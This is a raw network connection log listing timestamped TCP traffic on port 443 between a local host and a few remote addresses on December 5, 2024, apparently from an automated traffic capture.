Dec 5, 2024 22:16:58.230966091 CET	443	49804	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.231354952 CET	49804	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.231367111 CET	443	49804	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.523608923 CET	443	49800	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.523724079 CET	443	49800	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.523761034 CET	443	49801	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.523786068 CET	49800	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.523829937 CET	443	49802	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.523854017 CET	443	49801	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.523901939 CET	49801	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.523927927 CET	443	49802	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.523962975 CET	49802	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.524389982 CET	49800	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.524419069 CET	443	49800	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.524431944 CET	49800	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.524437904 CET	443	49800	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.525662899 CET	49801	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.525684118 CET	443	49801	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.525698900 CET	49801	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.525703907 CET	443	49801	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.525711060 CET	49802	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.525727987 CET	443	49802	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.525739908 CET	49802	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.525744915 CET	443	49802	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.528283119 CET	49806	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.528322935 CET	443	49806	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.528395891 CET	49806	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.528454065 CET	49807	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.528491974 CET	443	49807	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.528538942 CET	49807	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.528625011 CET	49806	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.528644085 CET	443	49806	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.528773069 CET	49807	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.528788090 CET	443	49807	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.529126883 CET	49808	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.529158115 CET	443	49808	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.529206038 CET	49808	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.529289961 CET	49808	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.529305935 CET	443	49808	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.539371967 CET	443	49803	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.539443970 CET	443	49803	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.539527893 CET	49803	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.543549061 CET	49803	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.543581963 CET	443	49803	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.543601990 CET	49803	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.543608904 CET	443	49803	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.568835020 CET	49809	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.568886995 CET	443	49809	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.568953991 CET	49809	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.569139957 CET	49809	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.569154978 CET	443	49809	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.664957047 CET	443	49804	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.665051937 CET	443	49804	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.665134907 CET	49804	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.709269047 CET	49804	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.709307909 CET	443	49804	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.709322929 CET	49804	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.709330082 CET	443	49804	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.716875076 CET	49811	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.716921091 CET	443	49811	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.716994047 CET	49811	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.717204094 CET	49811	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.717220068 CET	443	49811	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:59.823333025 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:16:59.823379993 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:16:59.823471069 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:16:59.823806047 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:16:59.823821068 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:00.247247934 CET	443	49808	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.247710943 CET	49808	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.247747898 CET	443	49808	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.248310089 CET	443	49807	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.248317003 CET	443	49806	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.248337030 CET	49808	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.248342991 CET	443	49808	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.248708963 CET	49806	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.248747110 CET	443	49806	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.248814106 CET	49807	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.248840094 CET	443	49807	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.249167919 CET	49806	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.249176979 CET	443	49806	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.249468088 CET	49807	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.249473095 CET	443	49807	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.289423943 CET	443	49809	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.289800882 CET	49809	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.289830923 CET	443	49809	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.290198088 CET	49809	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.290205002 CET	443	49809	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.446676016 CET	443	49811	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.447180033 CET	49811	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.447217941 CET	443	49811	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.447715044 CET	49811	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.447721004 CET	443	49811	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.681946039 CET	443	49808	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.682013035 CET	443	49808	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.682063103 CET	49808	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.682274103 CET	49808	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.682298899 CET	443	49808	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.682310104 CET	49808	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.682315111 CET	443	49808	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.682873011 CET	443	49806	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.682943106 CET	443	49806	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.682990074 CET	49806	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.683058977 CET	443	49807	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.683125019 CET	443	49807	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.683168888 CET	49807	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.683429003 CET	49807	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.683444977 CET	443	49807	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.683449030 CET	49806	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.683449030 CET	49806	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.683458090 CET	49807	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.683464050 CET	443	49807	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.683471918 CET	443	49806	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.683482885 CET	443	49806	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.686758995 CET	49813	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.686794996 CET	443	49813	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.686851025 CET	49813	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.687230110 CET	49814	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.687252045 CET	443	49814	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.687302113 CET	49814	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.687462091 CET	49813	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.687475920 CET	443	49813	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.687599897 CET	49815	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.687613964 CET	443	49815	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.687666893 CET	49815	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.687686920 CET	49814	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.687702894 CET	443	49814	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.687767029 CET	49815	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.687777042 CET	443	49815	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.728235006 CET	443	49809	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.728302956 CET	443	49809	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.728451967 CET	49809	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.728635073 CET	49809	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.728651047 CET	443	49809	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.728663921 CET	49809	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.728671074 CET	443	49809	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.730779886 CET	49816	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.730818033 CET	443	49816	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.730894089 CET	49816	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.731029987 CET	49816	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.731043100 CET	443	49816	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.883286953 CET	443	49811	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.883367062 CET	443	49811	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.883433104 CET	49811	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.883594036 CET	49811	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.883615017 CET	443	49811	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.883625031 CET	49811	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.883630991 CET	443	49811	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.886024952 CET	49817	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.886084080 CET	443	49817	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:00.886153936 CET	49817	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.886282921 CET	49817	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:00.886301041 CET	443	49817	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:01.585621119 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:01.588876963 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:01.588898897 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:01.589947939 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:01.590025902 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:01.591236115 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:01.591303110 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:01.591617107 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:01.591624022 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:01.645692110 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.098501921 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.146028042 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.219489098 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.219501019 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.219564915 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.219575882 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.219614029 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.219643116 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.219652891 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.219661951 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.219661951 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.219687939 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.331140041 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.331152916 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.331190109 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.331223965 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.331238985 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.331275940 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.331285000 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.331307888 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.373384953 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.373404026 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.373455048 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.373462915 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.373505116 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.407283068 CET	443	49814	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.407577991 CET	443	49815	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.407891989 CET	443	49813	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.408114910 CET	49814	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.408142090 CET	443	49814	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.408596039 CET	49814	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.408601046 CET	443	49814	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.408833027 CET	49815	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.408850908 CET	443	49815	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.409198999 CET	49815	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.409207106 CET	443	49815	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.409420013 CET	49813	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.409437895 CET	443	49813	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.409771919 CET	49813	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.409778118 CET	443	49813	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.461673021 CET	443	49816	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.462090015 CET	49816	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.462131977 CET	443	49816	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.462495089 CET	49816	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.462502956 CET	443	49816	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.499092102 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.499120951 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.499159098 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.499170065 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.499213934 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.528850079 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.528867960 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.528949022 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.528959036 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.529000044 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.549720049 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.549736977 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.549803019 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.549810886 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.549849987 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.618979931 CET	443	49817	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.619493961 CET	49817	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.619527102 CET	443	49817	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.619940042 CET	49817	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.619949102 CET	443	49817	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.677493095 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.677512884 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.677576065 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.677584887 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.677630901 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.695626020 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.695642948 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.695697069 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.695703983 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.695724964 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.695740938 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.706162930 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.706208944 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.706248045 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.706248045 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.706295013 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.706510067 CET	49812	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.706525087 CET	443	49812	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.739413977 CET	49820	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.739445925 CET	443	49820	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.739497900 CET	49820	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.740041971 CET	49820	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.740055084 CET	443	49820	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.843020916 CET	443	49815	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.843086958 CET	443	49815	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.843095064 CET	443	49814	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.843137026 CET	49815	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.843177080 CET	443	49814	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.843223095 CET	49814	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.843322992 CET	49815	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.843331099 CET	443	49815	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.843339920 CET	49815	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.843343973 CET	443	49815	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.844389915 CET	443	49813	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.844444036 CET	443	49813	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.844496965 CET	49813	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.847706079 CET	49814	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.847719908 CET	443	49814	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.847733974 CET	49814	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.847738981 CET	443	49814	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.848658085 CET	49813	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.848663092 CET	443	49813	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.848673105 CET	49813	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.848680973 CET	443	49813	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.849426031 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.849463940 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.849519968 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.849757910 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:02.849772930 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:02.864233017 CET	49822	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.864248991 CET	443	49822	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.864310980 CET	49822	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.865969896 CET	49823	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.865999937 CET	443	49823	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.866072893 CET	49823	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.866096020 CET	49822	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.866105080 CET	443	49822	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.866657972 CET	49824	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.866693020 CET	443	49824	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.866763115 CET	49824	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.866949081 CET	49824	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.866964102 CET	443	49824	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.866972923 CET	49823	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.866986036 CET	443	49823	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.895952940 CET	443	49816	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.896002054 CET	443	49816	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.896064997 CET	49816	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.896208048 CET	49816	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.896225929 CET	443	49816	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.896239042 CET	49816	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.896245956 CET	443	49816	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.898670912 CET	49826	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.898684978 CET	443	49826	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:02.898768902 CET	49826	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.898947954 CET	49826	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:02.898957014 CET	443	49826	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:03.036660910 CET	49827	443	192.168.2.4	142.250.181.100
Dec 5, 2024 22:17:03.036681890 CET	443	49827	142.250.181.100	192.168.2.4
Dec 5, 2024 22:17:03.036746025 CET	49827	443	192.168.2.4	142.250.181.100
Dec 5, 2024 22:17:03.036977053 CET	49827	443	192.168.2.4	142.250.181.100
Dec 5, 2024 22:17:03.036987066 CET	443	49827	142.250.181.100	192.168.2.4
Dec 5, 2024 22:17:03.054270029 CET	443	49817	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:03.054338932 CET	443	49817	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:03.054389954 CET	49817	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:03.054543018 CET	49817	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:03.054558992 CET	443	49817	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:03.054604053 CET	49817	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:03.054610968 CET	443	49817	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:03.057490110 CET	49828	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:03.057517052 CET	443	49828	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:03.057579994 CET	49828	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:03.057733059 CET	49828	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:03.057739973 CET	443	49828	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.598211050 CET	443	49820	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:04.598367929 CET	49820	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:04.598376036 CET	443	49820	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:04.599355936 CET	443	49820	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:04.599409103 CET	49820	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:04.599687099 CET	49820	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:04.599762917 CET	443	49820	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:04.601114035 CET	443	49824	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.601629019 CET	49824	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:04.601660967 CET	443	49824	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.602098942 CET	49824	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:04.602104902 CET	443	49824	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.606062889 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:04.606225014 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:04.606239080 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:04.607660055 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:04.607713938 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:04.607985020 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:04.608043909 CET	443	49821	152.199.21.175	192.168.2.4
